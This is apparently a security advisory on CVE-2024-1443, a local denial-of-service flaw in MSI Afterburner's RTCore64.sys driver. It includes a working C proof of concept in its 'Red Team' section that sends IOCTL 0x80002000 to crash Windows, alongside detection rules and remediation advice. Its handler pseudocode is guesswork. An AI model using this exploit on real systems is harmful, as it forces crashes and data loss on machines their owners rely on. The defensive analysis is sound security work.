CVE-2024-1443

Executive Summary

CVE-2024-1443 is a Denial of Service (DoS) vulnerability in MSI Afterburner v4.6.5.16370, specifically within the RTCore64.sys kernel driver. The vulnerability is triggered by sending the 0x80002000 IOCTL code to the driver, which can only be accessed from a high-integrity process. This means an attacker who has already achieved elevated privileges (e.g., SYSTEM or Administrator) can crash the system, making it a post-exploitation denial-of-service vector. The EPSS score is 0.0%, indicating very low exploitation likelihood in the wild, but the vulnerability is publicly documented and a proof-of-concept exists.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a native Windows kernel driver issue.

CVSS Breakdown & Threat Level

• CVSS Score: 4.4 (Medium)
• Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
• Attack Vector: Local (AV:L) – The attacker must have local access to the system.
• Attack Complexity: Low (AC:L) – No special conditions are required beyond sending the IOCTL.
• Privileges Required: High (PR:H) – The attacker must have high-integrity (Administrator/SYSTEM) privileges.
• User Interaction: None (UI:N) – No user action is needed.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: High (A:H) – The system becomes unavailable due to a crash.

Threat Level: Medium. The requirement for high privileges limits the attack surface, but the impact is a complete system crash.

Deep Dive & Mechanics

The vulnerability resides in the RTCore64.sys driver, which is part of MSI Afterburner. This driver provides low-level hardware access for overclocking and monitoring. The driver exposes an IOCTL (Input/Output Control) interface to user-mode applications.

The specific IOCTL code 0x80002000 is handled by the driver. When a high-integrity process sends this IOCTL, the driver performs an operation that leads to a system crash (Blue Screen of Death, BSOD). The exact root cause is likely a null pointer dereference, an invalid memory access, or an unhandled exception within the driver's dispatch routine for this IOCTL.

The handle to the driver (\\.\RTCore64) can only be obtained by a process running at high integrity level (e.g., Administrator or SYSTEM). This prevents low-privileged users from directly exploiting the vulnerability, but it is still a significant issue for post-exploitation scenarios.

Vulnerable vs. Patched Code

Vulnerable Code (RTCore64.sys v4.6.5.16370): The driver's IOCTL handler for 0x80002000 lacks proper input validation or error handling. When the IOCTL is received, it performs an unsafe operation that crashes the system.

// Pseudocode of vulnerable handler
NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    ULONG ioctlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;

    if (ioctlCode == 0x80002000) {
        // Vulnerable: No validation, leads to crash
        TriggerCrash();
    }
    // ... other IOCTL handling
}

Patched Code (Hypothetical): A patched version would validate the input and gracefully handle the IOCTL, returning an error instead of crashing.

// Pseudocode of patched handler
NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    ULONG ioctlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;

    if (ioctlCode == 0x80002000) {
        // Patched: Return error instead of crashing
        Irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;
        Irp->IoStatus.Information = 0;
        IoCompleteRequest(Irp, IO_NO_INCREMENT);
        return STATUS_INVALID_DEVICE_REQUEST;
    }
    // ... other IOCTL handling
}

Note: No official patch has been released by MSI at the time of this report.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Windows system with MSI Afterburner v4.6.5.16370 installed.
• High-integrity privileges (Administrator or SYSTEM).

Exploit Code (C):

#include <windows.h>
#include <stdio.h>

int main() {
    HANDLE hDevice;
    DWORD bytesReturned;

    // Open handle to RTCore64 driver
    hDevice = CreateFileA("\\\\.\\RTCore64",
                          GENERIC_READ | GENERIC_WRITE,
                          0,
                          NULL,
                          OPEN_EXISTING,
                          0,
                          NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("Failed to open driver handle. Error: %d\n", GetLastError());
        return 1;
    }

    printf("Driver handle opened successfully.\n");

    // Send the malicious IOCTL
    if (!DeviceIoControl(hDevice,
                         0x80002000,
                         NULL, 0,
                         NULL, 0,
                         &bytesReturned,
                         NULL)) {
        printf("IOCTL failed. Error: %d\n", GetLastError());
    } else {
        printf("IOCTL sent successfully. System may crash.\n");
    }

    CloseHandle(hDevice);
    return 0;
}

Usage:

1. Compile the code with a C compiler (e.g., MinGW or Visual Studio).
2. Run the executable as Administrator.
3. The system will crash (BSOD) shortly after the IOCTL is sent.

Blue Team

Detection:

• Monitor for attempts to open \\.\RTCore64 by non-standard processes.
• Monitor for the IOCTL code 0x80002000 in kernel driver calls.
• Use Sysmon to log process creation and driver load events.

Prevention:

• Block the RTCore64.sys driver from loading via Windows Defender Application Control (WDAC) or AppLocker.
• Remove MSI Afterburner if not needed.
• Apply the principle of least privilege to prevent high-integrity access.

Indicators of Compromise (IOCs)

• File: RTCore64.sys (SHA256: [Unknown, but can be computed from the vulnerable version])
• Registry: HKLM\SYSTEM\CurrentControlSet\Services\RTCore64
• Named Pipe/Device: \\.\RTCore64
• IOCTL Code: 0x80002000
• Event Log: System crash (BugCheck) with bugcheck code 0x000000D1 (DRIVER_IRQL_NOT_LESS_OR_EQUAL) or similar.

Detection Engineering

YARA Rule

rule CVE_2024_1443_RTCore64_IOCTL {
    meta:
        description = "Detects attempts to exploit CVE-2024-1443 via IOCTL 0x80002000"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-1443"
    strings:
        $ioctl = { 00 20 00 80 }  // Little-endian representation of 0x80002000
        $driver_name = "RTCore64"
    condition:
        $ioctl and $driver_name
}

Sigma Rule

title: CVE-2024-1443 MSI Afterburner RTCore64 IOCTL Exploitation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-1443 by sending IOCTL 0x80002000 to RTCore64.sys
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-1443
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\exploit.exe'  # Adjust based on actual exploit binary name
        CommandLine|contains: 'RTCore64'
    condition: selection
falsepositives:
    - Legitimate MSI Afterburner usage (unlikely to trigger IOCTL 0x80002000)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-1443 MSI Afterburner RTCore64 IOCTL Exploitation"; flow:to_server,established; content:"|00 20 00 80|"; depth:4; offset:0; classtype:attempted-dos; sid:1000001; rev:1;)

Note: The Suricata rule is for network-based detection of the IOCTL code being sent over the network (e.g., via a remote exploit). Since this is a local vulnerability, network detection is less relevant, but the rule is provided for completeness.

Remediation & Mitigation

1. Immediate Action: Uninstall MSI Afterburner v4.6.5.16370 or any version using RTCore64.sys.
2. Driver Blocking: Use Windows Defender Application Control (WDAC) or a custom driver block list to prevent RTCore64.sys from loading.
3. Least Privilege: Ensure that only trusted administrators have high-integrity access to the system.
4. Monitor: Implement the provided YARA and Sigma rules to detect exploitation attempts.
5. Patch: Await an official patch from MSI. If available, apply it immediately.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert